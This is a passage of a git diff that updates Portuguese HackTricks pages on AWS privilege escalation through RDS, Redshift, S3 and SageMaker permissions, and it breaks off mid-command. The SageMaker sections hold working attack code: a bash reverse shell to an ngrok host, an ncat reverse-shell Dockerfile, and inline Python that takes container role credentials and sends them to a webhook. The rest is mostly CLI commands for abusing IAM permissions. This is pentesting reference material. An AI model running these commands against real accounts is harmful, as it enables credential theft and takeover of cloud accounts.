+> Postgresql **não precisa alterar nenhuma variável do parameter group** para poder acessar o S3.
 
 #### Mysql (Aurora)
 
 > [!TIP]
-> Dentro de um mysql, se você executar a consulta **`SELECT User, Host FROM mysql.user;`** e houver um usuário chamado **`rdsadmin`**, você pode assumir que está dentro de um **AWS RDS mysql db**.
+> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**.
 
-Dentro do mysql, execute **`show variables;`** e se as variáveis como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, tiverem valores, você pode assumir que o banco de dados está preparado para acessar dados do S3.
+Dentro do mysql execute **`show variables;`** e se variáveis como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** tiverem valores, você pode presumir que o banco está preparado para acessar dados no S3.
 
-Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode verificar se o cluster tem algum **papel associado**, o que geralmente significa acesso aos serviços da AWS).
+Além disso, se você tem permissões para executar **`aws rds describe-db-clusters`** você pode verificar se o cluster possui alguma **role associada**, o que geralmente significa acesso a serviços da AWS).
 
 Agora, para **ler um arquivo dentro de um bucket** você precisa saber o caminho completo. Você pode lê-lo com:
 ```sql
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
 ```
 ### `rds:AddRoleToDBCluster`, `iam:PassRole`
 
-Um atacante com as permissões `rds:AddRoleToDBCluster` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso pode permitir que o atacante **acesse dados sensíveis** ou modifique os dados dentro da instância.
+Um atacante com as permissões `rds:AddRoleToDBCluster` e `iam:PassRole` pode **adicionar uma role especificada a uma instância RDS existente**. Isso pode permitir que o atacante **acesse dados sensíveis** ou modifique os dados dentro da instância.
 ```bash
 aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
 ```
 **Impacto Potencial**: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.\
-Observe que alguns DBs requerem configurações adicionais, como Mysql, que precisa especificar o ARN da função nos grupos de parâmetros também.
+Observe que alguns DBs requerem configurações adicionais, como Mysql, que também precisa especificar o role ARN nos grupos de parâmetros.
 
 ### `rds:CreateDBInstance`
 
-Apenas com essa permissão, um atacante poderia criar uma **nova instância dentro de um cluster** que já existe e tem uma **função IAM** anexada. Ele não poderá alterar a senha do usuário mestre, mas pode ser capaz de expor a nova instância de banco de dados à internet:
+Só com essa permissão um atacante poderia criar uma **nova instância dentro de um cluster** que já existe e que tem uma **IAM role** anexada. O atacante não conseguirá alterar a senha do usuário master, mas pode conseguir expor a nova instância de banco de dados para a internet:
 ```bash
 aws --region eu-west-1 --profile none-priv rds create-db-instance \
 --db-instance-identifier mydbinstance2 \
@@ -124,14 +124,14 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 > [!NOTE]
 > TODO: Test
 
-Um atacante com as permissões `rds:CreateDBInstance` e `iam:PassRole` pode **criar uma nova instância RDS com um papel especificado anexado**. O atacante pode então potencialmente **acessar dados sensíveis** ou modificar os dados dentro da instância.
+Um atacante com as permissões `rds:CreateDBInstance` e `iam:PassRole` pode **criar uma nova instância RDS com um role especificado anexado**. O atacante pode então potencialmente **acessar dados sensíveis** ou modificar os dados dentro da instância.
 
 > [!WARNING]
-> Alguns requisitos do papel/perfil da instância a serem anexados (de [**aqui**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+> Alguns requisitos do role/instance-profile a ser anexado (de [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
 
-> - O perfil deve existir em sua conta.
-> - O perfil deve ter um papel IAM que o Amazon EC2 tenha permissões para assumir.
-> - O nome do perfil da instância e o nome do papel IAM associado devem começar com o prefixo `AWSRDSCustom`.
+> - O profile deve existir na sua conta.
+> - O profile deve ter um IAM role que o Amazon EC2 tenha permissões para assumir.
+> - O nome do instance profile e o nome do IAM role associado devem começar com o prefixo `AWSRDSCustom`.
 ```bash
 aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
 ```
@@ -139,13 +139,13 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
 
 ### `rds:AddRoleToDBInstance`, `iam:PassRole`
 
-Um atacante com as permissões `rds:AddRoleToDBInstance` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso pode permitir que o atacante **acesse dados sensíveis** ou modifique os dados dentro da instância.
+Um atacante com as permissões `rds:AddRoleToDBInstance` e `iam:PassRole` pode **adicionar um role especificado a uma instância RDS existente**. Isso pode permitir que o atacante **acesse dados sensíveis** ou modifique os dados dentro da instância.
 
 > [!WARNING]
-> A instância do DB deve estar fora de um cluster para isso
+> A DB instance deve estar fora de um cluster para isso
 ```bash
 aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
 ```
 **Impacto Potencial**: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
similarity index 58%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
index 2c04f02d1..d629450b8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - Redshift Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Redshift
 
-Para mais informações sobre RDS, consulte:
+Para mais informações sobre RDS, confira:
 
 {{#ref}}
-../aws-services/aws-redshift-enum.md
+../../aws-services/aws-redshift-enum.md
 {{#endref}}
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
 
-Com essas permissões, você pode obter **informações de todos os clusters** (incluindo nome e nome de usuário do cluster) e **obter credenciais** para acessá-lo:
+Com essas permissões você pode obter **informações de todos os clusters** (incluindo o nome e o nome de usuário do cluster) e **obter credenciais** para acessá-lo:
 ```bash
 # Get creds
 aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
@@ -23,7 +23,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
 
-Com essas permissões, você pode obter **informações de todos os clusters** e **obter credenciais** para acessá-los.\
+Com essas permissões você pode obter **informações de todos os clusters** e **obter credenciais** para acessá-los.\
 Observe que o usuário postgres terá as **permissões que a identidade IAM** usada para obter as credenciais possui.
 ```bash
 # Get creds
@@ -39,18 +39,18 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
 ```
 aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
 ```
-**Impacto Potencial:** Encontrar informações sensíveis dentro dos bancos de dados.
+**Potential Impact:** Encontrar informações sensíveis dentro dos bancos de dados.
 
-## Acessando Serviços Externos
+## Accessing External Services
 
 > [!WARNING]
-> Para acessar todos os recursos a seguir, você precisará **especificar o papel a ser usado**. Um cluster Redshift **pode ter uma lista de papéis AWS atribuídos** que você pode usar **se souber o ARN** ou você pode apenas definir "**default**" para usar o padrão atribuído.
-
-> Além disso, como [**explicado aqui**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), o Redshift também permite concatenar papéis (desde que o primeiro possa assumir o segundo) para obter acesso adicional, mas apenas **separando-os** com uma **vírgula**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> Para acessar todos os recursos a seguir, você precisará **especificar a role a ser usada**. Um cluster Redshift **pode ter atribuída uma lista de AWS roles** que você pode usar **se souber o ARN** ou pode simplesmente definir "**default**" para usar a role padrão atribuída.
+>
+> Além disso, como [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift também permite concatenar roles (desde que a primeira possa assumir a segunda) para obter mais acesso, apenas **separando**‑as com uma **vírgula**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
 
 ### Lambdas
 
-Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), é possível **chamar uma função lambda do redshift** com algo como:
+Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), é possível **chamar uma função lambda a partir do Redshift** com algo como:
 ```sql
 CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
 RETURNS INT
@@ -60,7 +60,7 @@ IAM_ROLE default;
 ```
 ### S3
 
-Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), é possível **ler e escrever em buckets S3**:
+Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), é possível **ler e escrever em S3 buckets**:
 ```sql
 # Read
 copy table from 's3://<your-bucket-name>/load/key_prefix'
@@ -75,21 +75,21 @@ iam_role default;
 ```
 ### Dynamo
 
-Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), é possível **obter dados do dynamodb**:
+Conforme explicado em [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), é possível **obter dados do dynamodb**:
 ```sql
 copy favoritemovies
 from 'dynamodb://ProductCatalog'
 iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
 ```
 > [!WARNING]
-> A tabela Amazon DynamoDB que fornece os dados deve ser criada na mesma Região AWS que seu cluster, a menos que você use a opção [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar a Região AWS na qual a tabela Amazon DynamoDB está localizada.
+> A tabela Amazon DynamoDB que fornece os dados deve ser criada na mesma AWS Region do seu cluster, a menos que você use a opção [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar a AWS Region na qual a tabela Amazon DynamoDB está localizada.
 
 ### EMR
 
-Verifique [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
+Consulte [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
 
 ## Referências
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
similarity index 53%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 5d8730348..946359d4f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - S3 Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## S3
 
 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
 
-Um atacante com essas permissões sobre buckets interessantes pode ser capaz de sequestrar recursos e escalar privilégios.
+Um atacante com essas permissões sobre buckets interessantes pode conseguir sequestrar recursos e escalar privilégios.
 
-Por exemplo, um atacante com essas **permissões sobre um bucket de cloudformation** chamado "cf-templates-nohnwfax6a6i-us-east-1" poderá sequestrar a implantação. O acesso pode ser concedido com a seguinte política:
+Por exemplo, um atacante com essas **permissões sobre um cloudformation bucket** chamado "cf-templates-nohnwfax6a6i-us-east-1" será capaz de sequestrar a implantação. O acesso pode ser concedido com a seguinte política:
 ```json
 {
 "Version": "2012-10-17",
@@ -34,38 +34,38 @@ Por exemplo, um atacante com essas **permissões sobre um bucket de cloudformati
 ]
 }
 ```
-E o sequestro é possível porque há uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que será **ativada quando uma notificação de bucket for enviada**, e **sequestrar** o **conteúdo** desse **bucket**.
+E o hijack é possível porque existe uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que será **acionada quando uma bucket notification for enviada**, e **sequestra** o **conteúdo** daquele **bucket**.
 
 ![](<../../../images/image (174).png>)
 
 O módulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) pode ser usado para automatizar esse ataque.\
-Para mais informações, consulte a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Para mais informações consulte a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
 
 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
 
-Estas são as permissões para **obter e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para armazenar **arquivos de configuração**.\
-Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis** neles.\
-Um atacante com **acesso de gravação** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\
-Aqui estão alguns exemplos:
+Estas são as permissões para **obter e enviar objetos para S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar **config files**.\
+Um atacante com **read access** a eles pode encontrar **informação sensível** neles.\
+Um atacante com **write access** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\
+Estes são alguns exemplos:
 
-- Se uma instância EC2 estiver armazenando os **dados do usuário em um bucket S3**, um atacante poderia modificá-los para **executar código arbitrário dentro da instância EC2**.
+- Se uma instância EC2 estiver armazenando os **user data em um S3 bucket**, um atacante poderia modificá-los para **executar código arbitrário dentro da instância EC2**.
 
-### `s3:PutObject`, `s3:GetObject` (opcional) sobre o arquivo de estado do terraform
+### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
 
-É muito comum que os arquivos de estado do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no armazenamento de blob dos provedores de nuvem, por exemplo, AWS S3. O sufixo do arquivo para um arquivo de estado é `.tfstate`, e os nomes dos buckets geralmente também indicam que contêm arquivos de estado do terraform. Normalmente, cada conta AWS tem um desses buckets para armazenar os arquivos de estado que mostram o estado da conta.\
-Além disso, geralmente, em contas do mundo real, quase sempre todos os desenvolvedores têm `s3:*` e às vezes até usuários de negócios têm `s3:Put*`.
+É muito comum que os arquivos de state do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no blob storage dos provedores de cloud, p.ex. AWS S3. O sufixo de arquivo para um state file é `.tfstate`, e os nomes dos buckets muitas vezes também denunciam que contêm terraform state files. Normalmente, toda conta AWS tem um bucket desse tipo para armazenar os state files que mostram o estado da conta.  
+Também é comum, em contas do mundo real, que quase sempre todos os developers tenham `s3:*` e às vezes até business users tenham `s3:Put*`.
 
-Portanto, se você tiver as permissões listadas sobre esses arquivos, há um vetor de ataque que permite que você obtenha RCE no pipeline com os privilégios de `terraform` - na maioria das vezes `AdministratorAccess`, tornando você o administrador da conta de nuvem. Além disso, você pode usar esse vetor para realizar um ataque de negação de serviço fazendo com que `terraform` exclua recursos legítimos.
+Então, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do `terraform` — na maioria das vezes `AdministratorAccess`, tornando você o admin da conta cloud. Além disso, você pode usar esse vetor para causar um ataque de denial of service fazendo o `terraform` deletar recursos legítimos.
 
 Siga a descrição na seção *Abusing Terraform State Files* da página *Terraform Security* para código de exploit diretamente utilizável:
 
 {{#ref}}
-../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
+../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
 {{#endref}}
 
 ### `s3:PutBucketPolicy`
 
-Um atacante, que precisa estar **na mesma conta**, caso contrário, o erro `The specified method is not allowed will trigger`, com essa permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s), permitindo-lhe ler, escrever, modificar, excluir e expor buckets.
+Um atacante, que precisa ser **da mesma conta** — caso contrário o erro `The specified method is not allowed` será acionado — com essa permissão poderá se conceder mais permissões sobre o(s) bucket(s), permitindo ler, escrever, modificar, deletar e expor buckets.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ```
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`
 
-Um atacante poderia abusar dessas permissões para **conceder mais acesso** sobre buckets específicos.\
-Observe que o atacante não precisa ser da mesma conta. Além disso, o acesso de gravação
+Um atacante poderia abusar dessas permissões para **conceder a si mesmo mais acesso** sobre buckets específicos.\
+Observe que o atacante não precisa pertencer à mesma conta. Além disso, o write access
 ```bash
 # Update bucket ACL
 aws s3api get-bucket-acl --bucket <bucket-name>
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectAcl`
 
-Um atacante poderia abusar dessas permissões para conceder a si mesmo mais acesso a objetos específicos dentro de buckets.
+Um atacante poderia abusar dessas permissões para conceder a si mesmo maior acesso a objetos específicos dentro de buckets.
 ```bash
 # Update bucket object ACL
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -178,9 +178,9 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
 
-Um atacante com esses privilégios deve ser capaz de definir um Acl para uma versão específica do objeto.
+Um atacante com esses privilégios deve ser capaz de colocar um Acl em uma versão específica do objeto
 ```bash
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
deleted file mode 100644
index bcc4db481..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# AWS - Sagemaker Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS - Sagemaker Privesc
-
-
-
-### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-Comece a criar um notebook com a função IAM para acessar anexada a ele:
-```bash
-aws sagemaker create-notebook-instance --notebook-instance-name example \
---instance-type ml.t2.medium \
---role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
-```
-A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nova instância de notebook criada. Podemos então usar a API `create-presigned-notebook-instance-url` para gerar uma URL que podemos usar para acessar a instância de notebook assim que estiver pronta:
-```bash
-aws sagemaker create-presigned-notebook-instance-url \
---notebook-instance-name <name>
-```
-Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e na seção “Other”, clique no botão “Terminal”.
-
-Agora é possível acessar as credenciais de metadados da IAM Role.
-
-**Impacto Potencial:** Privesc para o papel de serviço sagemaker especificado.
-
-### `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-Se houver **notebooks Jupyter já em execução** e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior**.
-```bash
-aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
-```
-**Impacto Potencial:** Privesc para o papel de serviço sagemaker anexado.
-
-### `sagemaker:CreateProcessingJob,iam:PassRole`
-
-Um atacante com essas permissões pode fazer **sagemaker executar um processingjob** com um papel sagemaker anexado a ele. O atacante pode indicar a definição do contêiner que será executado em uma **instância de conta ECS gerenciada pela AWS**, e **roubar as credenciais do papel IAM anexado**.
-```bash
-# I uploaded a python docker image to the ECR
-aws sagemaker create-processing-job \
---processing-job-name privescjob \
---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
---app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
---role-arn <sagemaker-arn-role>
-
-# In my tests it took 10min to receive the shell
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
-```
-**Impacto Potencial:** Privesc para o papel de serviço sagemaker especificado.
-
-### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-
-Um atacante com essas permissões será capaz de criar um trabalho de treinamento, **executando um contêiner arbitrário** nele com um **papel anexado**. Portanto, o ataque poderá roubar as credenciais do papel.
-
-> [!WARNING]
-> Este cenário é mais difícil de explorar do que o anterior porque você precisa gerar uma imagem Docker que enviará o rev shell ou credenciais diretamente para o atacante (você não pode indicar um comando inicial na configuração do trabalho de treinamento).
->
-> ```bash
-> # Criar imagem docker
-> mkdir /tmp/rev
-> ## Note que o trabalho de treinamento vai chamar um executável chamado "train"
-> ## É por isso que estou colocando o rev shell em /bin/train
-> ## Defina os valores de <YOUR-IP-OR-DOMAIN> e <YOUR-PORT>
-> cat > /tmp/rev/Dockerfile <<EOF
-> FROM ubuntu
-> RUN apt update && apt install -y ncat curl
-> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
-> RUN chmod +x /bin/train
-> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
-> EOF
->
-> cd /tmp/rev
-> sudo docker build . -t reverseshell
->
-> # Enviá-lo para ECR
-> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
-> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> ```
-```bash
-# Create trainning job with the docker image created
-aws sagemaker create-training-job \
---training-job-name privescjob \
---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
---algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
---role-arn <role-arn> \
---output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
---stopping-condition '{"MaxRuntimeInSeconds": 600}'
-
-#To get the creds
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
-## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
-```
-**Impacto Potencial:** Privesc para o papel de serviço sagemaker especificado.
-
-### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
-
-Um atacante com essas permissões poderá (potencialmente) criar um **trabalho de treinamento de hiperparâmetros**, **executando um contêiner arbitrário** nele com um **papel anexado**.\
-_Eu não explorei devido à falta de tempo, mas parece semelhante aos exploits anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._
-
-## Referências
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
new file mode 100644
index 000000000..10ae14b61
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
@@ -0,0 +1,260 @@
+# AWS - Sagemaker Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS - Sagemaker Privesc
+
+### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+Comece a criar um notebook com o IAM Role associado a ele:
+```bash
+aws sagemaker create-notebook-instance --notebook-instance-name example \
+--instance-type ml.t2.medium \
+--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
+```
+A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da instância de notebook recém-criada. Em seguida, podemos usar a API `create-presigned-notebook-instance-url` para gerar uma URL que podemos usar para acessar a instância de notebook assim que ela estiver pronta:
+```bash
+aws sagemaker create-presigned-notebook-instance-url \
+--notebook-instance-name <name>
+```
+Navegue até a URL com o navegador e clique em `Open JupyterLab` no canto superior direito, depois role até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
+
+Agora é possível acessar as credenciais de metadata do IAM Role.
+
+**Impacto Potencial:** Privesc para o sagemaker service role especificado.
+
+### `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+Se houver Jupyter **notebooks já em execução** nele e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais como indicado na técnica anterior**.
+```bash
+aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
+```
+**Impacto potencial:** Privesc para a sagemaker service role anexada.
+
+### `sagemaker:CreateProcessingJob`, `iam:PassRole`
+
+Um atacante com essas permissões pode fazer com que o **SageMaker execute um processing job** com uma SageMaker role anexada a ele. Reutilizando um dos AWS Deep Learning Containers que já inclui Python (e executando o job na mesma região que o URI), você pode executar código inline sem construir suas próprias imagens:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-arn-role>
+IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
+ENV='{"W":"https://example.com/webhook"}'
+
+aws sagemaker create-processing-job \
+--processing-job-name privescjob \
+--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
+--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--environment "$ENV" \
+--role-arn $ROLE_ARN
+
+# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
+```
+**Impacto potencial:** Privesc para o sagemaker service role especificado.
+
+### `sagemaker:CreateTrainingJob`, `iam:PassRole`
+
+Um atacante com essas permissões pode iniciar um training job que executa código arbitrário com o role indicado. Usando um contêiner oficial do SageMaker e sobrescrevendo o entrypoint com um payload inline, você não precisa construir suas próprias imagens:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+ENV='{"W":"https://example.com/webhook"}'
+OUTPUT_S3=s3://<existing-bucket>/training-output/
+# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
+
+aws sagemaker create-training-job \
+--training-job-name privesc-train \
+--role-arn $ROLE_ARN \
